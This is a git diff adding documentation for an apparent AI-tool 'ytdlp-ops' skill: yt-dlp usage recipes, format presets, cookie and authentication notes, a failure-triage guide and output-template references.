+nothing. Whisper-prep (16 kHz mono PCM) is the next stage:
+ffmpeg-ops [stt-whisper](../ffmpeg-ops/references/stt-whisper.md).
+
+### Playlists, channels, incremental sync
+
+```bash
+# Playlist with ID-correlated filenames + archive file (resumable, dedup-safe):
+yt-dlp --download-archive archive.txt \
+  -o "%(playlist)s/%(playlist_index)03d - %(title).100B [%(id)s].%(ext)s" PLAYLIST_URL
+
+# Incremental channel sync (cron-friendly): stop at the first already-archived
+# video instead of re-walking the entire channel every run:
+yt-dlp --download-archive archive.txt --break-on-existing --lazy-playlist \
+  -S "res:1080,vcodec:h264,acodec:m4a" CHANNEL_URL
+
+# Subset selection / list without downloading:
+yt-dlp -I 1:10 PLAYLIST_URL
+yt-dlp --flat-playlist --print "%(id)s %(title)s" PLAYLIST_URL
+
+# DRY-RUN any batch before committing to it — preview every output filename
+# (--print implies --simulate; nothing downloads):
+yt-dlp --print filename -o "%(playlist_index)03d - %(title).100B [%(id)s].%(ext)s" PLAYLIST_URL
+```
+
+Archive format, sync-job patterns, when `--break-on-existing` misfires
+(non-chronological playlists):
+[references/playlists-archives.md](references/playlists-archives.md).
+
+### Livestreams and premieres
+
+```bash
+# Capture a livestream from its BEGINNING, not from "now" (YouTube keeps a
+# rolling live buffer; without this you get the moment you pressed enter):
+yt-dlp --live-from-start URL
+
+# Scheduled premiere/stream: poll (1-10 min between retries) and start when live:
+yt-dlp --wait-for-video 60-600 URL
+```
+
+Live capture caveats: a crashed live download is **not resumable** like a VOD
+(fragments expire) — write to fast local disk (`-P temp:`), not a network share.
+For archival quality, prefer re-downloading the VOD after the stream ends; the
+live manifest often caps below the post-processed VOD.
+
+### Subtitles
+
+```bash
+# Manual subs, English variants, skip live-chat pseudo-subs, as SRT:
+yt-dlp --write-subs --sub-langs "en.*,-live_chat" --convert-subs srt --skip-download URL
+
+# Auto-generated (ASR) captions — exist for most videos when manual subs don't:
+yt-dlp --write-auto-subs --sub-langs en --convert-subs srt --skip-download URL
+
+# Embed into the media file instead of a sidecar:
+yt-dlp --embed-subs --sub-langs en URL
+```
+
+Sub formats, language matching, transcript-only workflows (subs as cheap STT):
+[references/subtitles-metadata.md](references/subtitles-metadata.md).
+
+### SponsorBlock
+
+```bash
+# Mark segments as chapters — LOSSLESS and reversible. Prefer this:
+yt-dlp --sponsorblock-mark all URL
+
+# Cut segments out of the media — modifies the file, re-encodes at boundaries:
+yt-dlp --sponsorblock-remove sponsor,selfpromo URL
+```
+
+Category list, mark-vs-remove trade-offs, interaction with `--download-sections`:
+[references/sponsorblock.md](references/sponsorblock.md).
+
+### Cookies and auth
+
+```bash
+# Pull cookies from a browser profile (private/members/age-gated content):
+yt-dlp --cookies-from-browser firefox URL
+
+# Chrome 127+ on Windows uses app-bound cookie encryption — extraction usually
+# FAILS. Use Firefox, or export a Netscape cookies.txt and pass it directly:
+yt-dlp --cookies cookies.txt URL
+```
+
+**Account-ban warning:** authenticated bulk downloading is the fastest way to get
+an account flagged. Use a throwaway account, always pair cookies with the
+politeness flags below. Details + browser matrix:
+[references/auth-cookies.md](references/auth-cookies.md).
+
+### Rate limiting and politeness
+
+```bash
+# The polite-bulk baseline — cap bandwidth, space out requests, retry patiently:
+yt-dlp --limit-rate 4M --sleep-requests 1 \
+  --sleep-interval 5 --max-sleep-interval 15 \
+  --retries 10 --fragment-retries 10 URL
+
+# Speed (single video, host not throttling you): parallel fragment download:
+yt-dlp --concurrent-fragments 4 URL
+```
+
+Politeness is self-interest: 429s and IP flags cost more time than sleeps do.
+
+### Remux vs recode
+
+```bash
+# Remux: container change only — lossless, near-instant. yt-dlp's job:
+yt-dlp -S "vcodec:h264,acodec:m4a" --remux-video mp4 URL
+
+# Recode: a FULL TRANSCODE. Almost never yt-dlp's job — you give up ffmpeg-ops'
+# CRF/preset/pix_fmt control for a blind default encode. If codecs must change:
+yt-dlp -S "res,vcodec,acodec" URL        # 1. acquire best-native
+# 2. then transcode with the ffmpeg-ops web-compatible H.264 recipe.
+```
+
+Rule: `--remux-video` whenever the codecs already fit the target container;
+`--recode-video` only for throwaway one-offs where quality control doesn't matter.
+
+### Output templates
+
+```bash
+# ID-in-brackets convention — survives renames, correlates with archive files:
+yt-dlp -o "%(uploader)s/%(upload_date)s - %(title).100B [%(id)s].%(ext)s" URL
+
+# Cross-filesystem safety (strips spaces/unicode to ASCII-safe names):
+yt-dlp --restrict-filenames -o "%(title)s [%(id)s].%(ext)s" URL
+
+# Split destination and scratch space (-P): fragments go to temp, final to home:
+yt-dlp -P "D:/media" -P "temp:C:/tmp/ytdlp" URL
+```
+
+`%(title).100B` truncates at 100 **bytes** (UTF-8 safe — CJK titles break
+char-based truncation). Full field catalog and per-type templates:
+[references/output-templates.md](references/output-templates.md).
+
+### Metadata embedding
+
+```bash
+# Self-describing files — metadata, thumbnail and chapters travel with the media:
+yt-dlp --embed-metadata --embed-thumbnail --embed-chapters URL
+```
+
+## Beyond YouTube
+
+yt-dlp ships ~1,800 extractors (`yt-dlp --list-extractors`); everything in this
+skill except the YouTube-specific parts (nsig, player clients) applies unchanged
+to Twitch, Vimeo, SoundCloud, TikTok, and the rest. `yt-dlp -v URL` names the
+extractor in use. For sites with no dedicated extractor, the generic extractor
+sniffs direct media/HLS URLs out of the page. When a non-YouTube site returns
+403 to yt-dlp but plays fine in a browser, it's usually TLS-fingerprint
+blocking — `--impersonate` fixes it (see
+[failure-triage](references/failure-triage.md)).
+
+## Footguns
+
+| Footgun | The trap | The rule |
+|---|---|---|
+| Default format selection | YouTube "best" = VP9/AV1+Opus in WebM/MKV; downstream tooling expecting MP4 forces a transcode you could have avoided | State codecs at download: `-S "vcodec:h264,acodec:m4a" --merge-output-format mp4` |
+| `-f best` | Selects best *single pre-merged file* — caps at ~720p on YouTube; modern high-res is always video+audio merged | Drop the `-f` entirely or use `-S`; `b` only as the tail of a `/` fallback chain |
+| `-f` hard filters | "Requested format is not available" the moment an extractor stops offering that exact combo | Prefer `-S` (degrades gracefully); always end `-f` chains with `/b` |
+| `--recode-video` casually | Full blind transcode — no CRF/preset/pix_fmt control, big quality/time cost | `--remux-video` when codecs fit; real transcodes via ffmpeg-ops |
+| `--download-sections` w/o `--force-keyframes-at-cuts` | Clip boundaries snap to keyframes — seconds of slop | Add the flag when cuts must be exact (re-encodes at cuts only) |
+| Channel sync w/o `--break-on-existing` | Every cron run re-walks the entire channel (thousands of metadata requests) | `--download-archive` + `--break-on-existing --lazy-playlist` |
+| No `%(id)s` in filename | Title changes/dupes make files impossible to correlate with the archive | Always `[%(id)s]` in the template |
+| `--cookies-from-browser chrome` on Windows | Chrome 127+ app-bound encryption — extraction fails | Use `firefox`, or export `cookies.txt` |
+| Authenticated bulk runs, no sleeps | Account flagged/banned; IP rate-limited | Throwaway account + `--sleep-requests`/`--sleep-interval` always |
+| Throttled to ~50-100 KB/s | Looks like a network problem; it's the nsig arms race | Update yt-dlp FIRST (`check-ytdlp-version.sh --live`) |
+| "nsig extraction failed" / "unable to extract" | Debugging the command/network when the binary is stale | Same — update first; these errors mean *outdated*, not *broken usage* |
+| Raw `%(title)s` filenames | Emoji/colons/slashes break on Windows and some CI filesystems | `--restrict-filenames` or `.100B`-truncated fields + `[%(id)s]` |
+| Thin format list on a fresh machine | No JS runtime — YouTube player JS now needs one (EJS); runtime-less extraction is deprecated and may offer only low-res premuxed | Install deno, or `--js-runtimes node`; see [failure-triage](references/failure-triage.md) |
+| git-bash (MSYS) path mangling | `/tmp/...`-style args convert per-arg — templates containing `%(...)s` skip conversion while plain paths convert, scattering outputs | Use Windows-style paths (`X:/dir/...`) for `-o`/`-P`/`--download-archive` under git-bash |
+| pip-installed `yt-dlp -U` | Self-update doesn't work for pip/uv installs (silently a no-op with a warning) | `uv tool upgrade yt-dlp`; `-U` is for the standalone binary only |
+
+## Failure triage
+
+The ladder — run in order, stop at the first fix:
+
+1. **Stale binary?** `check-ytdlp-version.sh --live` → exit 10 → update. This
+   closes most "nsig extraction failed", missing-format, and throttling cases.
+2. **Reproduce verbosely:** `yt-dlp -v URL` — read the actual extractor error,
+   don't guess from the summary line.
+3. **403 / "Sign in to confirm you're not a bot"** → identity problem:
+   `--cookies-from-browser firefox`, or a different network/IP.
+4. **429 / sudden slowdowns mid-run** → rate limited: add the politeness flags,
+   reduce `--concurrent-fragments`, back off and resume later (archive files
+   make every run resumable).
+5. **Geo block** ("not available in your country") → `--proxy URL` through an
+   allowed region; the old `--geo-bypass` header tricks rarely work anymore.
+
+Full decision tree with error-message → cause mapping, `--extractor-args`
+escape hatches, and when to file upstream:
+[references/failure-triage.md](references/failure-triage.md).
+
+## Scripts
+
+Follows the [Skill Resource Protocol](../../docs/SKILL-RESOURCE-PROTOCOL.md):
+`--help` with examples, stdout = data only, `--json` envelope
+(`claude-mods.ytdlp-ops.version-check/v1`), semantic exit codes (`0` clean,
+`2` usage, `7` network/yt-dlp unavailable — advisory, `10` drift finding).
+
+| Script | Job | Worked invocation |
+|---|---|---|
+| `check-ytdlp-version.sh` | Staleness verifier: `--offline` structural (CI gate), `--live` = installed-version age vs latest GitHub release + documented-flag existence in `yt-dlp --help` + metadata-only smoke extraction | `check-ytdlp-version.sh --live --json \| jq '.data.days_behind'` — exit 10 = >60 days behind, a documented flag vanished, or smoke failed; 7 = network/API unreachable (advisory) |
+
+## References
+
+Load on demand — one concept per file:
+
+| Reference | Load when |
+|---|---|
+| [format-selection.md](references/format-selection.md) | Any `-f`/`-S` decision, codec targeting, filter grammar, avoiding transcodes |
+| [playlists-archives.md](references/playlists-archives.md) | Playlists, channels, `--download-archive`, incremental sync jobs |
+| [auth-cookies.md](references/auth-cookies.md) | Private/members/age-gated content, browser cookie matrix, ban avoidance |
+| [output-templates.md](references/output-templates.md) | `-o` field catalog, paths, sanitization, per-type routing |
+| [subtitles-metadata.md](references/subtitles-metadata.md) | Sub download/convert/embed, transcript workflows, metadata/thumbnail embedding |
+| [sponsorblock.md](references/sponsorblock.md) | SponsorBlock categories, mark vs remove, chapter workflows |
+| [failure-triage.md](references/failure-triage.md) | Any download failure — 403/429/geo/nsig/throttling decision tree |
+
+Assets: [format-presets.json](assets/format-presets.json) — canonical, date-stamped
+`-S`/flag presets per destination (web MP4, STT audio, archival, clip, mobile-small).
+
+## Self-test
+
+```bash
+bash skills/ytdlp-ops/tests/run.sh   # fully offline; no network, no yt-dlp needed
+```
+
+Structural assertions plus the verifier's 60-day age logic exercised through its
+`CM_YTDLP_INSTALLED`/`CM_YTDLP_LATEST` test seams. Real `--live` runs happen only
+in the scheduled freshness workflow — a network blip must never fail a PR.

+ 39 - 0
skills/ytdlp-ops/assets/format-presets.json

@@ -0,0 +1,39 @@
+{
+  "_meta": {
+    "schema": "claude-mods.ytdlp-ops.format-presets/v1",
+    "updated": "2026-06-12",
+    "notes": "Canonical yt-dlp argument presets per destination. Args are list-form (paste-safe, no shell quoting surprises). Presets prefer -S sort over -f filters so they degrade gracefully when an extractor stops offering an exact combo. Verify against a current yt-dlp with scripts/check-ytdlp-version.sh --live."
+  },
+  "presets": {
+    "web-mp4-1080": {
+      "goal": "H.264/AAC MP4 ready for browsers and editors - zero post-download transcode",
+      "args": ["-S", "res:1080,vcodec:h264,acodec:m4a", "--merge-output-format", "mp4"],
+      "handoff": "none - file is delivery-ready; ffmpeg-ops only if further editing is needed"
+    },
+    "archival-best": {
+      "goal": "Best available quality regardless of codec, as a master for later processing",
+      "args": ["-S", "res,fps,hdr:12,vcodec,acodec", "--merge-output-format", "mkv", "--embed-metadata", "--embed-chapters"],
+      "handoff": "ffmpeg-ops encoding.md for any delivery transcode from this master"
+    },
+    "stt-audio": {
+      "goal": "Audio-only acquisition for transcription pipelines - Opus copied out, no transcode",
+      "args": ["-x", "--audio-format", "opus", "-o", "%(id)s.%(ext)s"],
+      "handoff": "ffmpeg-ops stt-whisper.md for 16 kHz mono PCM prep"
+    },
+    "clip-precise": {
+      "goal": "Frame-accurate section download (re-encodes at the cut points only)",
+      "args": ["--download-sections", "*START-END", "--force-keyframes-at-cuts", "-S", "res:1080,vcodec:h264,acodec:m4a"],
+      "handoff": "replace *START-END, e.g. *10:00-12:30; multi-cut edits -> download whole + ffmpeg-ops EDL"
+    },
+    "mobile-small": {
+      "goal": "Smallest acceptable file at a resolution floor (bandwidth/storage constrained)",
+      "args": ["-S", "res:480,+size,+br", "--merge-output-format", "mp4"],
+      "handoff": "none"
+    },
+    "channel-sync": {
+      "goal": "Incremental channel/playlist sync - resumable, stops at first already-archived item",
+      "args": ["--download-archive", "archive.txt", "--break-on-existing", "--lazy-playlist", "-S", "res:1080,vcodec:h264,acodec:m4a", "--sleep-requests", "1", "--sleep-interval", "5", "--max-sleep-interval", "15", "-o", "%(channel)s/%(upload_date)s - %(title).100B [%(id)s].%(ext)s"],
+      "handoff": "see references/playlists-archives.md for the cron pattern and non-chronological caveat"
+    }
+  }
+}

+ 72 - 0
skills/ytdlp-ops/references/auth-cookies.md

@@ -0,0 +1,72 @@
+# Cookies and Authentication
+
+For private, members-only, age-gated, or "Sign in to confirm you're not a bot"
+content. Authentication is also the highest-risk feature in yt-dlp: it ties bulk
+download behaviour to an identifiable account.
+
+## `--cookies-from-browser` (first choice)
+
+```bash
+yt-dlp --cookies-from-browser firefox URL
+yt-dlp --cookies-from-browser "firefox:profile-name" URL    # specific profile
+yt-dlp --cookies-from-browser "brave+gnomekeyring" URL      # explicit keyring (Linux)
+```
+
+Reads cookies straight from a browser profile on disk. Full syntax:
+`BROWSER[+KEYRING][:PROFILE][::CONTAINER]`. Supported browsers include `firefox`,
+`chrome`, `chromium`, `edge`, `brave`, `opera`, `vivaldi`, `safari`, `whale`.
+
+### The browser matrix (what actually works)
+
+| Browser | Status |
+|---|---|
+| **Firefox** | Most reliable everywhere — plain SQLite cookie store. **Default choice.** |
+| Chrome/Edge/Brave on **Windows** | Chrome 127+ **app-bound encryption** ties cookie decryption to the browser binary — extraction usually fails. Don't fight it; use Firefox or `cookies.txt`. |
+| Chrome on macOS/Linux | Generally works (keychain/keyring prompt possible); close the browser first — a running Chrome locks the cookie DB |
+| Safari | Works on macOS; needs Full Disk Access for the terminal |
+
+## `--cookies cookies.txt` (the fallback that always works)
+
+```bash
+yt-dlp --cookies cookies.txt URL
+```
+
+A Netscape-format cookie export (browser extensions like "Get cookies.txt
+LOCALLY" produce it, or `yt-dlp --cookies-from-browser firefox --cookies out.txt
+--skip-download URL` converts browser → file once on a machine where extraction
+works, for use on servers).
+
+Treat the file as a **credential**: it grants full account access. Never commit
+it; `chmod 600`; rotate by re-exporting. Note YouTube rotates session cookies
+aggressively — exported cookie files go stale in days-to-weeks, so headless boxes
+need a refresh procedure, not a one-time export.
+
+## Account-ban avoidance (read before any authenticated bulk run)
+
+Authenticated + high-volume + fast is the exact signature platforms ban for. The
+account in the cookies is the blast radius.
+
+1. **Use a throwaway account** for anything bulk. Never a personal/work account.
+2. **Always pair auth with politeness flags**: `--sleep-requests 1
+   --sleep-interval 5 --max-sleep-interval 15 --limit-rate 4M`.
+3. **Don't parallelize across the same account/IP** (multiple yt-dlp processes
+   sharing cookies multiplies the signature).
+4. Prefer unauthenticated access whenever the content allows it — most public
+   content needs no cookies at all; only add them when an error demands it.
+
+## Username/password (`-u`/`-p`) — mostly dead
+
+Direct login triggers 2FA/anti-bot challenges on major platforms and is
+unsupported for YouTube. Cookies are the auth mechanism; treat `-u/-p` as legacy
+for the few small sites where it still works.
+
+## "Sign in to confirm you're not a bot"
+
+Not strictly an auth wall — an IP-reputation challenge (heavy on datacenter/VPS
+IPs). Options, in order:
+
+1. `--cookies-from-browser firefox` — a logged-in session usually passes.
+2. Run from a residential IP (or proxy through one: `--proxy`).
+3. Update yt-dlp — client-impersonation fixes for this challenge ship regularly.
+
+See [failure-triage.md](failure-triage.md) for the full error → cause ladder.

+ 175 - 0
skills/ytdlp-ops/references/failure-triage.md

@@ -0,0 +1,175 @@
+# Failure Triage
+
+The arms-race reality: platforms change player code and access rules continuously;
+yt-dlp ships countermeasures near-monthly. **Most failures are version failures.**
+Triage in this order — each step is cheaper than the one below it.
+
+## Step 0 — version check (always first)
+
+```bash
+bash skills/ytdlp-ops/scripts/check-ytdlp-version.sh --live
+```
+
+Exit `10` → update (`uv tool upgrade yt-dlp`, or `yt-dlp -U` for the standalone
+binary) and **re-run the original command before any further debugging**. Errors
+in the "outdated" class below are *expected* on a stale build; debugging them is
+wasted time.
+
+## Step 1 — reproduce verbosely
+
+```bash
+yt-dlp -v URL 2>&1 | tail -40
+```
+
+Read the actual extractor error, not the summary line. `-v` also prints the
+version, install type (pip/binary), and whether ffmpeg was found — three triage
+answers for free.
+
+## Error → cause map
+
+### The "outdated yt-dlp" class (update fixes it)
+
+| Symptom | What's happening |
+|---|---|
+| `nsig extraction failed: Some formats may be missing` | YouTube changed its player JS; the throttling-token solver broke. Formats vanish AND remaining ones may crawl at ~50-100 KB/s |
+| `Signature extraction failed` | Same family, older mechanism |
+| `ERROR: Unable to extract <anything>` on a major site | Extractor broke against a site change |
+| Downloads suddenly throttled to dial-up speeds | Broken nsig solve — the platform serves, but slowly |
+| Formats that existed last week are gone | Player-client behaviour changed; newer yt-dlp rotates clients |
+
+These are **not** network problems, **not** your command, **not** rate limits.
+Update first.
+
+### Missing formats / "No supported JavaScript runtime could be found"
+
+The 2026 evolution of the nsig arms race: yt-dlp now solves YouTube's player
+JS through an **external JS runtime** (the EJS system); runtime-less extraction
+is deprecated and silently degrades the format list — often to a single low-res
+premuxed file. Only **deno** is auto-enabled; node and bun need opt-in:
+
+```bash
+yt-dlp --js-runtimes node URL      # use an installed node (verify: -v shows "JS runtimes: node-…")
+# or install deno (auto-detected, zero config): https://deno.com
+```
+
+Measured effect on the same video: no runtime → premuxed format 18 (360p);
+with a runtime → the full 395+251 (AV1+Opus) ladder. If formats look thin on a
+fresh machine, this — not the extractor — is usually why.
+
+#### Choosing a runtime (a security decision, not a convenience one)
+
+Whatever runtime you pick will execute obfuscated JavaScript fetched from the
+network on every invocation. Two risks trade off: *install risk* (a new binary
+on the machine) vs *execution risk* (what privileges that code runs with).
+
+| | deno | node opt-in |
+|---|---|---|
+| New dependency | yes — one static signed binary, no install scripts, no dep tree | no (if already installed) |
+| Sandbox | default-deny: no fs/net/env unless granted — why yt-dlp trusts it by default | **none** — full user privileges |
+| Exposure shape | one-time, auditable at install | standing, re-occurs every invocation, compounds with automation |
+
+**Decision rule:** anything unattended (the `--break-on-existing` channel-sync
+cron, scheduled STT pipelines) → **deno**, no exceptions — recurring unattended
+execution of network-fetched code must be sandboxed. Occasional interactive
+use → a *per-invocation* `--js-runtimes node` grant is defensible; do NOT
+persist it in a config file, because persisted defaults silently become the
+unattended path when automation arrives later.
+
+Install deno with supply-chain discipline — cooldown-checked and version-pinned:
+
+```bash
+# 1. pick the newest release >=7 days old (skip day-zero releases):
+curl -fsSL "https://api.github.com/repos/denoland/deno/releases?per_page=5" \
+  | jq -r '.[] | select(.prerelease|not) | "\(.tag_name) \(.published_at)"'
+# 2. install that exact version and pin it (Windows; see deno.com for others):
+winget install --id DenoLand.Deno --version <X.Y.Z> --exact
+winget pin add --id DenoLand.Deno --version <X.Y.Z>
+# 3. verify yt-dlp picked it up:
+bash skills/ytdlp-ops/scripts/check-ytdlp-version.sh --live --json | jq -r '.data.js_runtime'
+```
+
+### HTTP 403 Forbidden
+
+1. Stale build (above) — update first.
+2. **Non-YouTube site that plays fine in a browser** — TLS-fingerprint blocking
+   (Cloudflare and friends sniff the client hello). Fix:
+
+   ```bash
+   yt-dlp --impersonate chrome URL
+   yt-dlp --list-impersonate-targets        # what this install can mimic
+   ```
+
+   Needs the curl_cffi extra — standalone binaries include it; pip/uv installs
+   need `uv tool install "yt-dlp[default,curl-cffi]"`. An empty target list
+   means the extra is missing.
+3. IP reputation — datacenter/VPS IPs are heavily challenged. Try a residential
+   IP or `--proxy socks5://...`.
+4. Stale cookies — re-export / re-extract (`--cookies-from-browser firefox`).
+5. Mid-download 403 on fragments — URLs expired (very slow download or paused
+   run); just re-run, `.part` files resume.
+
+### "Sign in to confirm you're not a bot"
+
+IP-reputation challenge. In order: logged-in cookies
+(`--cookies-from-browser firefox`), residential IP/proxy, update (client
+impersonation fixes ship regularly). See
+[auth-cookies.md](auth-cookies.md).
+
+### HTTP 429 / rate limited
+
+You're sending too much, too fast, from one address:
+
+```bash
+--sleep-requests 1 --sleep-interval 5 --max-sleep-interval 15 --limit-rate 4M
+```
+
+Reduce `--concurrent-fragments` to 1, stop parallel processes against the same
+host, and back off for hours, not seconds. Archives make resumption free.
+
+### Geo blocks ("not available in your country")
+
+`--proxy URL` through an allowed region is the real fix. The legacy
+`--geo-bypass`/`--xff` header spoofing rarely works on major platforms anymore —
+don't burn time on it.
+
+### Private / deleted / members-only
+
+`Private video`, `Video unavailable`, `Join this channel` — access problems, not
+bugs. Cookies from an account *with that access* (member, accepted viewer) or
+nothing. In batch runs, `--ignore-errors` keeps one dead video from killing the
+job.
+
+### "Requested format is not available"
+
+Your `-f` hard filter matched nothing (catalog changed, or per-client format
+availability shifted). `yt-dlp -F URL` to see today's offerings; switch to `-S`
+sorting which cannot fail this way
+([format-selection.md](format-selection.md)).
+
+### ffmpeg-related: `merging of multiple formats` / `ffmpeg not found`
+
+yt-dlp needs ffmpeg on PATH for merge/remux/extract-audio. Point at a specific
+build with `--ffmpeg-location PATH`. Verify what the build can do with
+ffmpeg-ops `capability-scan.sh`.
+
+## Escape hatch: `--extractor-args`
+
+Per-extractor overrides, e.g. forcing alternative player clients:
+
+```bash
+yt-dlp --extractor-args "youtube:player_client=default,web_safari" URL
+```
+
+**Staleness warning:** valid client names and their behaviour churn faster than
+any doc — treat specific values found in forum posts (including this file's
+example) as expired until verified against the current
+[yt-dlp wiki/extractor docs](https://github.com/yt-dlp/yt-dlp/wiki). Reach for
+this only after an update didn't fix it.
+
+## When it's genuinely upstream
+
+Current version + verbose log showing an extractor exception + reproducible on a
+clean network → check the [issue tracker](https://github.com/yt-dlp/yt-dlp/issues)
+(it's almost certainly already filed; platform-wide breakages get hundreds of
+duplicates within hours). Pin your pipeline to "wait for the next release", not
+to workarounds scraped from the thread.

+ 101 - 0
skills/ytdlp-ops/references/format-selection.md

@@ -0,0 +1,101 @@
+# Format Selection — `-S` sort vs `-f` filters
+
+The single highest-leverage decision in any yt-dlp invocation. Get it right and the
+file lands in the codec the destination needs; get it wrong and you pay a full
+transcode (or a hard "Requested format is not available" failure) after the fact.
+
+## The mental model
+
+Platforms serve **separate video and audio streams** at high quality. "Downloading a
+video" is really: pick a video stream, pick an audio stream, merge them (yt-dlp
+shells out to ffmpeg for the merge). Two ways to steer the pick:
+
+| Mechanism | Style | Failure mode |
+|---|---|---|
+| `-S` (`--format-sort`) | *Preferences* — "closest to these, in this priority order" | None — always degrades to nearest available |
+| `-f` (`--format`) | *Filters* — "exactly this, or the next `/` alternative" | Hard error when nothing matches |
+
+**Default to `-S`.** Reach for `-f` only when a hard requirement genuinely exists
+(e.g. a pipeline that breaks on anything but `ext=m4a`), and even then end the chain
+with `/b` so a catalog change degrades instead of failing.
+
+## `-S` sort fields (the useful subset)
+
+Comma-separated, priority order, first field dominates:
+
+| Field | Meaning | Example |
+|---|---|---|
+| `res:1080` | Resolution closest to but not exceeding 1080p | `res:720` for 720p caps |
+| `vcodec:h264` | Prefer this video codec family | `h264`, `h265`, `vp9`, `av01` |
+| `acodec:m4a` | Prefer this audio codec/container family | `m4a` (AAC), `opus` |
+| `ext` / `ext:mp4` | Prefer this container family | biases toward mp4/m4a |
+| `fps` | Higher frame rate wins | `fps:30` to cap |
+| `hdr:12` | Allow up to 12-bit HDR (default sort excludes some HDR) | archival masters |
+| `+size`, `+br` | `+` prefix inverts: prefer SMALLER size/bitrate | bandwidth-constrained |
+| `proto` | Prefer better download protocols (https over m3u8) | rarely needed manually |
+
+Worked examples:
+
+```bash
+# Delivery-ready MP4, no transcode (h264 video + AAC audio merge natively):
+yt-dlp -S "res:1080,vcodec:h264,acodec:m4a" --merge-output-format mp4 URL
+
+# Absolute best quality (codec-agnostic master; expect VP9/AV1+Opus in MKV):
+yt-dlp -S "res,fps,hdr:12,vcodec,acodec" --merge-output-format mkv URL
+
+# Smallest file at >=480p-ish (floor the res, then ascend by size and bitrate):
+yt-dlp -S "res:480,+size,+br" URL
+```
+
+## `-f` selector grammar (when you must)
+
+| Token | Meaning |
+|---|---|
+| `bv`, `bv*` | best video-only / best video (may include audio) |
+| `ba`, `ba*` | best audio-only / best audio |
+| `b` / `best` | best single PRE-MERGED file — on YouTube caps ~720p |
+| `wv`, `wa`, `w` | worst (testing) |
+| `+` | merge: `bv+ba` |
+| `/` | fallback chain, left wins: `bv*+ba/b` |
+| `[...]` | filter: `[height<=1080]`, `[vcodec^=avc1]`, `[ext=m4a]`, `[filesize<500M]` |
+
+Comparison operators: `=`, `!=`, `^=` (starts with), `$=` (ends with), `*=`
+(contains), and numeric `<`, `<=`, `>`, `>=`. Combine inside one bracket with
+implicit AND: `[height<=1080][fps<=30]`.
+
+```bash
+# Exact: H.264 video at <=1080p + AAC audio, fall back to best pre-merged, then anything:
+yt-dlp -f "bv*[height<=1080][vcodec^=avc1]+ba[ext=m4a]/b[height<=1080]/b" URL
+```
+
+Codec string gotcha: YouTube reports H.264 as `avc1.xxxx` — match with
+`[vcodec^=avc1]`, not `[vcodec=h264]`. AV1 is `av01`, H.265 is `hev1`/`hvc1`.
+
+## Avoiding the post-download transcode (the whole point)
+
+| Destination needs | Ask for at download | Why it works |
+|---|---|---|
+| MP4 for web/editors | `-S "vcodec:h264,acodec:m4a" --merge-output-format mp4` | h264+aac are mp4-native; merge is a remux |
+| Audio for STT | `-x --audio-format opus` | platform audio IS Opus; `-x` copies, no transcode |
+| MKV archive | `-S "res,fps,hdr:12,vcodec,acodec" --merge-output-format mkv` | mkv holds anything; never forces re-encode |
+| Anything else | download best-native, then ffmpeg-ops | yt-dlp's `--recode-video` is a blind transcode — no CRF/preset/pix_fmt control |
+
+If the needed codec genuinely isn't offered (some platforms are VP9-only at high
+res), that's a real transcode — do it deliberately with the ffmpeg-ops
+web-compatible H.264 recipe, not `--recode-video`.
+
+## Survey before arguing
+
+```bash
+yt-dlp -F URL                 # table of every offered format (ID, ext, res, codecs, size)
+yt-dlp -J URL | jq '.formats[] | {format_id, ext, vcodec, acodec, height}'
+```
+
+When a selector misbehaves, `-F` output is ground truth — extractors change what
+they offer (per-client, per-region, A/B tests), so yesterday's format ID list is
+not evidence.
+
+## Canonical presets
+
+Machine-readable versions of these recipes (per-destination args, handoff notes):
+[../assets/format-presets.json](../assets/format-presets.json).

+ 86 - 0
skills/ytdlp-ops/references/output-templates.md

@@ -0,0 +1,86 @@
+# Output Templates (`-o`) and Paths (`-P`)
+
+Filenames are an API: archive correlation, sort order, and cross-filesystem safety
+are all decided by the template. Get the convention right once.
+
+## The house convention
+
+```bash
+-o "%(uploader)s/%(upload_date)s - %(title).100B [%(id)s].%(ext)s"
+```
+
+- `[%(id)s]` **always** — titles change, get truncated, and collide; the ID is the
+  only stable join key to archive files and metadata.
+- `%(upload_date)s` prefix (YYYYMMDD) — lexicographic = chronological sort.
+- `%(title).100B` — truncate at 100 **bytes**, UTF-8-safe. `%(title).100s`
+  truncates *characters* and can blow filesystem byte limits on CJK/emoji titles.
+- Never end a directory component with `%(title)s` alone — a title of `.` or
+  emoji-only produces garbage paths.
+
+## Field catalog (the useful subset)
+
+| Field | Value |
+|---|---|
+| `%(id)s` | platform video ID |
+| `%(title)s` | video title (sanitized for the local OS by default) |
+| `%(ext)s` | final extension — **always end the template with this**; yt-dlp picks it post-merge |
+| `%(uploader)s`, `%(channel)s` | display name / channel name |
+| `%(channel_id)s` | stable channel ID (display names get renamed) |
+| `%(upload_date)s` | YYYYMMDD |
+| `%(duration)s` | seconds |
+| `%(playlist)s`, `%(playlist_index)s` | playlist name / position (`%(playlist_index)03d` to zero-pad) |
+| `%(resolution)s`, `%(fps)s`, `%(vcodec)s`, `%(acodec)s` | stream properties |
+| `%(epoch)s` | download time (unix) — for run-stamping |
+
+Numeric fields accept printf formatting (`%(playlist_index)03d`); all fields accept
+the `.NB` byte-truncation suffix. Missing fields render as `NA` — provide defaults
+with `%(uploader|unknown)s` pipe syntax.
+
+## Sanitization
+
+```bash
+--restrict-filenames     # ASCII-only, no spaces (shell/CI-safe; ugly)
+--windows-filenames      # Windows-illegal chars stripped even on Linux (NAS/SMB)
+--trim-filenames 200     # hard cap on total filename length
+```
+
+Default sanitization already strips the local OS's illegal characters;
+`--restrict-filenames` is for files that must survive *any* downstream system
+(URLs, docker volumes, old CI). Pick per destination, not reflexively.
+
+## Per-type routing
+
+Different artifact types can take different templates in one run:
+
+```bash
+yt-dlp --write-subs --write-thumbnail \
+  -o "%(title).100B [%(id)s].%(ext)s" \
+  -o "subtitle:subs/%(id)s.%(ext)s" \
+  -o "thumbnail:thumbs/%(id)s.%(ext)s" URL
+```
+
+Types: `subtitle`, `thumbnail`, `description`, `infojson`, `chapter`, `pl_thumbnail`,
+`pl_description`, `pl_infojson`.
+
+## Paths (`-P`): destination vs scratch
+
+```bash
+yt-dlp -P "D:/media" -P "temp:C:/tmp/ytdlp" URL
+```
+
+- `-P home:` (or bare `-P`) — final destination.
+- `-P temp:` — fragments, `.part` files, and pre-merge intermediates. Putting temp
+  on fast local disk while home is a NAS/slow volume avoids double-writing large
+  files over the network. The final file is *moved* (not re-downloaded) on completion.
+- Type-specific paths compose with type-specific templates: `-P "subtitle:subs"`.
+
+## Sidecar metadata for pipelines
+
+```bash
+yt-dlp --write-info-json -o "%(id)s.%(ext)s" URL    # full metadata as <id>.info.json
